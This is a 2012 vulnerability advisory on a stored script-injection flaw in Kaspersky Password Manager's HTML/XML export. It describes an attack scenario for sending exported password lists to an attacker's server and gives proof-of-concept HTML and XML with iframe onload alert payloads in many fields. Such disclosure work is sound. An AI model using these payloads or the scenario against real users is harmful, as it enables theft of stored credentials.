Document Title: =============== Kaspersky PM 5.0.0.164 - Software Filter Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=612 Release Date: ============= 2012-07-12 Vulnerability Laboratory ID (VL-ID): ==================================== 612 Common Vulnerability Scoring System: ==================================== 3 Product & Service Introduction: =============================== Kaspersky Password Manager is an indispensable tool for the active Internet user. It fully automates the process of entering passwords and other data into websites and saves the user going to the trouble of creating and remembering multiple passwords. When you use Kaspersky Password Manager to log in, you can rest assured that your data is safe. The software creates exceptionally strong passwords and prevents your login information from being stolen. All confidential data is encrypted and kept in a dedicated database on your computer. Kaspersky Password Manager makes your web experience safer, quicker and more convenient. (Copy of the Vendor Homepage: www.kaspersky.com/us/kaspersky-password-manager ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered a software filter & validation vulnerability in Kasperskys Password Manager v5.0.0.164. Vulnerability Disclosure Timeline: ================================== 2012-07-12: Public or Non-Public Disclosure Discovery Status: ================= Published Affected Product(s): ==================== Kaspersky Labs Product: Kaspersky Password Manager 5.0.0.164 & older versions Exploitation Technique: ======================= Remote Severity Level: =============== Low Technical Details & Description: ================================ A software filter & validation vulnerability is detected in Kasperskys Password Manager v5.0.0.164 Software. The bug allows an attacker (local) to implement/inject malicious script code when processing to export a manipulated Kaspersky Password Manager database. The vulnerability is located in the validation of the html/xml export function/module & the bound vulnerable name, domain, url, comment (listing) parameters. URLs of entries are embedded in the exported HTML file without encoding XML special characters, when the URL (domain) field of an entry contains a malicious script code, this will be executed when the exported HTML file is opened in a browser. Exploitation of the vulnerabilitiy requires a manipulated url with malicious script code, a logging server with chmod 777, a listing file (random) & a kaspersky PM v5.0.0.164 user. The bug will be injected on the remote way (Autofill Engine), affects the local validation (html/xml) on exports and change the technic back when remote transfering the password lists. The injection of the malicious url/domain context can be done via automatic imports/plugins (KPM AutoFill Engine v5.0.0.164) as victim or manually (reproduce) by including. Successful exploitation of the vulnerability lead to stable (persistent) context manipulation, persistent phishing, execution of malware or stealing plain password lists. Medium user inter action is required to exploit the vulnerability. Normally Kaspersky Password Manager exports the html & xml backup with a secure clean template like ... Name des Benutzerkontos: test1 Link: test4 Benutzername:
Kennwort: test2
test3 Kommentartest5 The local attacker manipulate the database with malicious strings (script code) in the category item profile name input fields. Kaspersky password manager generates the clean html or xml template but after the persistent script code inject in the database profile name items, the persistent code is getting execute direct out the clean exported xml or html template file. Name des Benutzerkontos: ``></td> </tr> Vulnerable Section(s): [+] Export & Import - Database & Categories Vulnerable Module(s): [+] HTML & XML Vulnerable Parameter(s): [+] Benutzername [+] Kommentar [+] Vorname, Zweiter Vorname & Nachname [+] Email, Stdt & Addresse [+] Abteilung, Beruf & Webseite [+] Link/Website/URL Exploitation (Remote>Local>Local>Remote) Scenario: 1. Remote Attacker is sending the victim a manipulated login page (MITM/Browser or as Link) with script code in the url parameters. The script code impacts an easy html or js script which responds to a url with chmod 777 (other server) to exchange of the file when processing a local request. 2. Local The victim with kaspersky password manager save the malicious vulnerable login page with the url via AutoFill Engine plugin to the software. The context got saved in the kaspersky password database. 4. Local After some time the victim is exporting the file as html plain file with the standard kaspersky template. 3. Remote The script code of the vulnerable item values get executed and transfers the context of the listed plain html file directly to the attackers web-server with the script in chmod777. Proof of Concept (PoC): ======================= The persistent script code injection & execution can only be exploited by local attackers or remote via user inter action & manipulated login/website link(malicious). For demonstration or reproduce ... Review: Listing Document (HTML & XML) <tr class="MyAccountNameRow"> <td align="right" width="150px">Name des Benutzerkontos: </td> <td>yeaaa</td> </tr> <tr><td align="right" valign="top">Link: </td> <td valign="top">"><iframe src=a onload=alert("VL") <</td></tr> <tr class="MySplitterRowLight"><td colspan="2"></td></tr> <tr><td align="right" valign="top">Benutzername: Kennwort: </td><td valign="top">"><[PERSISTENt INJECTED SCRIPT CODE]) < KTia1Zx8</td></tr> <tr class="MySplitterRowLight"><td colspan="2"></td></tr> <tr><td align="right" valign="top">Kommentar</td><td valign="top">"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr class="MySplitterRow"><td colspan="2"> </td></tr> <tr class="MySplitterRowWhite"><td colspan="2"> </td></tr> </table></html> PoC: HTML <html><head> <title>Kaspersky Password Manager Datenbank von 12.06.2012 02:43:53</title> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> <style type="text/css">  </style> </head> <body bgcolor="#FFFFFF" text="#000000" leftmargin="20" topmargin="20" marginwidth="20" marginheight="20"> Kaspersky Password Manager Datenbank von 12.06.2012 02:43:53<hr size="1"> Meine Visitenkarten <table align="center" width="800px" cellpadding="3" cellspacing="2" border="0" bgcolor="#FBFBFB"> <tr class="MySplitterRow"><td colspan="2"> </td></tr> <tr><td align="right" width="150px">Vorname</td> <td valign="top">http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr><td align="right" width="150px">Zweiter Vorname</td> <td valign="top">http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr><td align="right" width="150px">Nachname</td> <td valign="top">http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr><td align="right" width="150px">Geschlecht</td> <td valign="top">Männlich</td></tr> <tr><td align="right" width="150px">Geburtsdatum</td> <td valign="top">12.06.2012</td></tr> <tr><td align="right" width="150px">Geburtsort</td> <td valign="top">http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr><td align="right" width="150px">Webseite</td> <td valign="top">http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr><td align="right" width="150px">E-Mail</td> <td valign="top">research@vulnerability-lab.com</td></tr> <tr><td align="right" width="150px">E-Mail-Adresse ausblenden</td> <td valign="top">Ja</td></tr> <tr><td align="right" width="150px">Nachrichten abonnieren</td> <td valign="top">Ja</td></tr> <tr><td align="right" width="150px">Yahoo-Benutzerkonto</td> <td valign="top">http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr><td align="right" width="150px">MSN-Benutzerkonto</td> <td valign="top">http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr><td align="right" width="150px">AOL-Benutzerkonto</td> <td valign="top">http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr><td align="right" width="150px">Skype-Benutzerkonto</td> <td valign="top">http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr><td align="right" width="150px">Bevorzugter Benutzername</td> <td valign="top">http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr><td align="right" width="150px">Geheimfrage</td> <td valign="top">http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr><td align="right" width="150px">Antwort auf Geheimfrage</td> <td valign="top">http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr><td align="right" width="150px">Land</td> <td valign="top">Deutschland</td></tr> <tr><td align="right" width="150px">Stadt</td> <td valign="top">http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr><td align="right" width="150px">Bundesland</td> <td valign="top">http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr><td align="right" width="150px">Postleitzahl</td> <td valign="top">http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr><td align="right" width="150px">Adressenzeile 1</td> <td valign="top">http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr><td align="right" width="150px">Adressenzeile 2</td> <td valign="top">http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr><td align="right" width="150px">Bevorzugte Sprache</td> <td valign="top">Deutsch</td></tr> <tr><td align="right" width="150px">Zeitzone</td> <td valign="top">(UTC+01:00) Belgrad, Bratislava, Budapest, Ljubljana, Prag, Sarajevo, Skopje, Warschau, Zagreb, Windhuk, Brüssel, Kopenhagen, Madrid, Paris, West-Zentralafrika, Amsterdam, Berlin, Bern, Rom, Stockholm, Wien</td></tr> <tr><td align="right" width="150px">Währung</td> <td valign="top">Euro (EUR)</td></tr> <tr><td align="right" width="150px">Firma</td> <td valign="top">"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr><td align="right" width="150px">Abteilung</td> <td valign="top">http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr><td align="right" width="150px">Beruf</td> <td valign="top">http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr><td align="right" width="150px">Webseite</td> <td valign="top">http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr><td align="right" width="150px">Zahlungsart</td> <td valign="top">Bar</td></tr> <tr><td align="right" width="150px">Familienstand</td> <td valign="top">Ledig</td></tr> <tr><td align="right" width="150px">Umsatzsteuer-Identifikationsnummer</td> <td valign="top">http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr><td align="right" width="150px">Handelsregistereintrag</td> <td valign="top">http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr><td align="right" width="150px">IBAN - Internationale Bankkonto Nummer</td> <td valign="top">http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr class="MySplitterRow"><td colspan="2"> </td></tr> <tr class="MyAccountNameRow"> <td colspan="2">Kreditkarten</td></tr> <tr><td colspan="2">"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr class="MySplitterRow"><td colspan="2"> </td></tr> <tr><td align="right" width="150px">Kartennummer</td> <td valign="top">"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr><td align="right" width="150px">Kreditinstitut</td> <td valign="top">"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr> <tr class="MySplitterRow"><td colspan="2"> </td></tr> <tr><td colspan="2"></td></tr> <tr class="MySplitterRow"><td colspan="2"> </td></tr> <tr class="MySplitterRow"><td colspan="2"> </td></tr> </table></html> PoC: XML for imports ... <?xml version="1.0" encoding="UTF-16"?> <root> <Database CreatedDate="2012-02-14T17:39:23.467+02:00" ModifiedDate="2012-06-12T22:25:48.806+02:00" LastDBObjectID="139" XMLVersion="1"> <Identities> <Identity Name=""><iframe src=http://vulnerability-lab.com onload=alert("VL") <" ID="62" ParentID="-1" DefaultCreditCardID="106" DefaultBankAccountID="129"> <RoleValues> <RoleValue ID="65" RoleType="1"/> <RoleValue Name=""><[PERSISTENt INJECTED SCRIPT CODE]) <" ID="66" RoleType="2"/> <RoleValue Name=""><[PERSISTENt INJECTED SCRIPT CODE]) <" ID="67" RoleType="3"/> <RoleValue ID="68" RoleType="4"/> <RoleValue Name="m" ID="69" RoleType="5"/> <RoleValue Name="20120612" ID="70" RoleType="6"/> <RoleValue ID="71" RoleType="7"/> <RoleValue ID="72" RoleType="8"/> <RoleValue ID="73" RoleType="9"/> <RoleValue ID="74" RoleType="10"/> <RoleValue ID="75" RoleType="11"/> <RoleValue Name="research@vulnerability-lab.com" ID="76" RoleType="12"/> <RoleValue Name="1" ID="77" RoleType="13"/> <RoleValue Name="1" ID="78" RoleType="14"/> <RoleValue ID="79" RoleType="15"/> <RoleValue ID="80" RoleType="16"/> <RoleValue ID="81" RoleType="17"/> <RoleValue ID="82" RoleType="18"/> <RoleValue ID="83" RoleType="19"/> <RoleValue ID="84" RoleType="20"/> <RoleValue ID="85" RoleType="21"/> <RoleValue ID="86" RoleType="22"/> <RoleValue Name="94" ID="87" RoleType="23"/> <RoleValue ID="88" RoleType="24"/> <RoleValue ID="89" RoleType="25"/> <RoleValue ID="90" RoleType="26"/> <RoleValue ID="91" RoleType="27"/> <RoleValue ID="92" RoleType="28"/> <RoleValue Name="7" ID="93" RoleType="29"/> <RoleValue Name="1" ID="94" RoleType="30"/> <RoleValue Name="EUR" ID="95" RoleType="31"/> <RoleValue ID="96" RoleType="32"/> <RoleValue ID="97" RoleType="33"/> <RoleValue ID="98" RoleType="34"/> <RoleValue ID="99" RoleType="35"/> <RoleValue ID="100" RoleType="36"/> <RoleValue Name="1" ID="101" RoleType="57"/> <RoleValue Name="1" ID="102" RoleType="58"/> <RoleValue ID="103" RoleType="59"/> <RoleValue ID="104" RoleType="60"/> <RoleValue ID="105" RoleType="61"/> </RoleValues> <CreditCards> <CreditCard Name=""><[PERSISTENt INJECTED SCRIPT CODE]) <" ID="106" ParentID="62"> <RoleValues> <RoleValue ID="107" RoleType="37"/> <RoleValue Name=""><[PERSISTENt INJECTED SCRIPT CODE]) <" ID="108" RoleType="38"/> <RoleValue ID="109" RoleType="39"/> <RoleValue ID="110" RoleType="40"/> <RoleValue ID="111" RoleType="41"/> <RoleValue ID="112" RoleType="42"/> <RoleValue Name=""><[PERSISTENt INJECTED SCRIPT CODE]) <" ID="113" RoleType="43"/> <RoleValue ID="114" RoleType="44"/> <RoleValue ID="115" RoleType="45"/> <RoleValue ID="116" RoleType="46"/> </RoleValues> </CreditCard> <CreditCard Name=""><[PERSISTENt INJECTED SCRIPT CODE]) <" ID="117" ParentID="62"> <RoleValues> <RoleValue ID="118" RoleType="37"/> <RoleValue ID="119" RoleType="38"/> <RoleValue ID="120" RoleType="39"/> <RoleValue ID="121" RoleType="40"/> <RoleValue ID="122" RoleType="41"/> <RoleValue ID="123" RoleType="42"/> <RoleValue ID="124" RoleType="43"/> <RoleValue ID="125" RoleType="44"/> <RoleValue ID="126" RoleType="45"/> <RoleValue ID="127" RoleType="46"/> </RoleValues> </CreditCard> </CreditCards> <BankAccounts> <BankAccount Name=""><[PERSISTENt INJECTED SCRIPT CODE]) <" ID="128" ParentID="62"/> <BankAccount Name="" ID="129" ParentID="62"> <RoleValues> <RoleValue ID="130" RoleType="47"/> <RoleValue ID="131" RoleType="48"/> <RoleValue ID="132" RoleType="49"/> <RoleValue ID="133" RoleType="50"/> <RoleValue ID="134" RoleType="51"/> <RoleValue ID="135" RoleType="52"/> <RoleValue ID="136" RoleType="53"/> <RoleValue ID="137" RoleType="54"/> <RoleValue ID="138" RoleType="55"/> <RoleValue ID="139" RoleType="56"/> </RoleValues> </BankAccount> </BankAccounts> </Identity> </Identities> </Database> </root> Solution - Fix & Patch: ======================= XML special characters in Item names need to be encoded when processing to export as HTML file. Security Risk: ============== The security risk of the persistent software vulnerability is estimated as low(+)/(-)medium. Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 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